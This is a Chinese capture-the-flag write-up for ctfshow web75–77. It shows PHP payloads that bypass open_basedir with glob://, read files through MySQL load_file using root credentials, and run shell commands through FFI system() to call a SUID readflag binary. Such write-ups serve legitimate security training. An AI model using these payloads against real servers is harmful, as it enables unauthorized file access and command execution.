目錄
1、web75
2、web76
3、web77
1、web75
使用 glob 協議繞過 open_basedir,讀取根目錄下的文件,payload:
c=?><?php $a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>
存在 flag36.txt?
利用 mysql load_file 讀文件,提示中是從數據庫 ctftraining 中查詢的,就算我們不知道這個數據庫名,也可以直接從默認的?information_schema 中查,該數據庫包含了所有的數據庫的內容。
payload:
c=try {$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row) { echo($row[0])."|";}$dbh = null;
} catch (PDOException $e) {echo $e->getMessage();die();
};exit();
解釋:
try {// 使用PDO(PHP Data Objects)創建一個新的數據庫連接對象,指定DSN、用戶名(root)和密碼(root)$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');// 執行一個SQL查詢,從指定的文件(/flag36.txt)中讀取內容foreach($dbh->query('select load_file("/flag36.txt")') as $row) { // 輸出讀取到的內容,并追加一個豎線(|)echo($row[0])."|";}// 將數據庫連接對象設置為null,關閉連接$dbh = null;
} catch (PDOException $e) {// 如果發生PDO異常,輸出錯誤信息echo $e->getMessage();// 終止腳本執行die();
}// 終止腳本執行
exit();
?$dbh 是數據庫連接句柄(database handle),它是通過 new PDO 創建的,用于與數據庫進行交互。
PDO(PHP Data Objects)是PHP中的一個擴展,它提供了一個統一的接口來訪問不同的數據庫。它支持預處理語句和事務,使數據庫操作更安全和高效。
DSN(數據源名稱,Data Source Name)是一個包含數據庫連接信息的字符串。它通常包括數據庫類型、主機名、數據庫名稱等信息。在創建PDO對象時指定,即 'mysql:host=localhost;dbname=information_schema'。這個字符串包含了數據庫類型(mysql)、主機名(localhost)和數據庫名稱(information_schema)。
foreach 是PHP中的一個控制結構,用于遍歷數組或對象。在上面payload中,foreach 用于遍歷SQL查詢的結果集(由 $dbh->query 返回),并處理每一行的數據。
拿到 flag:ctfshow{b59fea1d-d5d8-4d90-a9dc-e318e43733f1}
當然我們也可以查一下有哪些數據庫:
c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
foreach($rs as $row){echo($row[0])."|";
}exit();
payload 解釋:
// 數據源名稱(DSN),指定數據庫類型、主機名和數據庫名稱
$dsn = "mysql:host=localhost;dbname=information_schema";// 使用PDO(PHP Data Objects)創建一個新的數據庫連接對象,使用指定的DSN、用戶名(root)和密碼(root)
$db = new PDO($dsn, 'root', 'root');// 執行一個SQL查詢,從SCHEMATA表中選擇并連接所有數據庫名稱(SCHEMA_NAME),返回一個結果集
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");// 遍歷結果集中的每一行,并輸出第一個字段(即連接的數據庫名稱),然后追加一個豎線(|)
foreach($rs as $row){echo($row[0])."|";
}// 終止腳本執行
exit();
確實存在一個名為?ctftraining 的數據庫?
我們還可以繼續查 ctftraining 數據庫下的所有表:
c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(TABLE_NAME) FROM TABLES WHERE TABLE_SCHEMA = 'ctftraining'");
foreach($rs as $row){echo($row[0])."|";
}exit();
存在一個名為??FLAG_TABLE 的表
查該表下的列名:
c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(COLUMN_NAME) FROM COLUMNS WHERE TABLE_SCHEMA = 'ctftraining' and TABLE_NAME = 'FLAG_TABLE'");
foreach($rs as $row){echo($row[0])."|";
}exit();
得到列名為?FLAG_COLUMN?
查詢具體字段信息:
c=$dsn = "mysql:host=localhost;dbname=ctftraining";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("SELECT FLAG_COLUMN FROM FLAG_TABLE");
foreach($rs as $row){echo($row[0])."|";
}exit();
不行
但是由于我們知道了 flag 的路徑,所有直接使用 load_file() 函數進行文件讀取就行了。
2、web76
讀取根目錄下的文件:
c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
存在名為?flag36d.txt 的文件
使用上一題的方法獲取:
c=try {$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row) { echo($row[0])."|";}$dbh = null;
} catch (PDOException $e) {echo $e->getMessage();die();
};exit();
拿到 flag:ctfshow{d95d6fc4-3d51-4ab3-92b0-49edd1421b98}
3、web77
讀取根目錄后發現存在?flag36x.txt 和 readflag
(readflag 這個東西在前面的題里面遇到過,它是一個可執行的二進制文件,執行它即可獲取 flag,這里為什么要用這個 readflag 而不是直接讀取 flag36x.txt 我們后面再說)
采用前面的方法,但是回顯?could not find driver
先放上題目提示里給到 payload:
用 PHP 中的 FFI(Foreign Function Interface)來調用 C 語言的 system 函數,并執行一個 Shell?命令。
$ffi = FFI::cdef("int system(const char *command);");//創建一個system對象
$a='/readflag > 1.txt';//沒有回顯的
$ffi->system($a);//通過$ffi去調用system函數
FFI::cdef 方法用于定義 C 函數原型,其中 int system(const char *command); 是 C 語言中 system? 函數的聲明。system 函數接受一個字符串參數(即Shell命令),并在系統的命令行中執行該命令;
之后執行 /readflag 程序并將其輸出重定向到文件 1.txt;
通過 FFI 對象 $ffi 調用了前面定義的 system 函數,并傳遞了字符串變量 $a 作為參數。也就是說,實際執行的是 Shell 命令 /readflag > 1.txt,效果是在系統中運行 /readflag 程序,并將其輸出結果保存到當前目錄下的 1.txt 文件中。
我們先來試一下,payload:
c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a);
之后訪問 1.txt,即可看到 flag:ctfshow{3ff9dd00-8512-435a-b744-a1d4833f5bb4}
接下來我們說一下為什么讀取 flag36x.txt 不行
我們先嘗試讀一下,構造 payload:
c=$ffi = FFI::cdef("int system(const char *command);");$a='cat /flag36x.txt> 2.txt';$ffi->system($a);
之后訪問 2.txt,發現是空白,沒有任何內容:
看一下根目錄下文件的權限:
c=$ffi = FFI::cdef("int system(const char *command);");$a='ls -l / > 3.txt';$ffi->system($a);
訪問 3.txt 查看執行結果:
先看 flag36x.txt:-r--r----- 1 root root 46 Jul 1 07:19 flag36x.txt
第一個字符 - 表示這是一個普通文件。
接下來的三個字符 r-- 表示文件所有者(root)具有讀取權限,但沒有寫入或執行權限。
后面的三個字符 r-- 表示文件所屬組(root組)具有讀取權限,但沒有寫入或執行權限。
最后的三個字符 --- 表示其他用戶沒有任何權限(既沒有讀取、寫入、也沒有執行權限)。
而我們當前是一個什么用戶呢:
c=$ffi = FFI::cdef("int system(const char *command);");$a='id > 3.txt';$ffi->system($a);
用戶 www-data 并不屬于文件 flag36x.txt 的所有者(root 用戶),也不屬于文件所屬組(root 組)。因此,根據文件的權限設置,www-data 用戶無法讀取 flag36x.txt 文件的內容。
而對于 readflag:-r-sr-xr-x 1 root root 8392 Sep 16 2020 readflag
第一個字符 - 表示這是一個普通文件。
接下來的三個字符 r-s 表示文件所有者(root)具有讀取和執行權限,并且設置了SUID權限位。
后面的三個字符 r-x 表示文件所屬組(root組)具有讀取和執行權限,但沒有寫入權限。
再后面的三個字符 r-x 表示其他用戶具有讀取和執行權限,但沒有寫入權限。
我們讀取一下 /readflag 的內容:
c=$ffi = FFI::cdef("int system(const char *command);");$a='cat /readflag > 4.txt';$ffi->system($a);
訪問 4.txt 下載:
"ELF" 開頭的文件通常是可執行的二進制文件
使用 ida64 打開反編譯分析一下:
偽代碼分析:
int __fastcall main(int argc, const char **argv, const char **envp)
{setuid(0); // 提升權限為root用戶puts("ctfshow flag getter"); // 輸出一條信息到標準輸出system("cat /flag36x.txt"); // 執行命令,輸出文件 /flag36x.txt 的內容return 0; // 返回0,表示程序正常結束
}
就是提權成 root 后讀取 根目錄下的 flag36x.txt,這也是為什么我們執行 readflag 后就會讀取到 flag 的內容。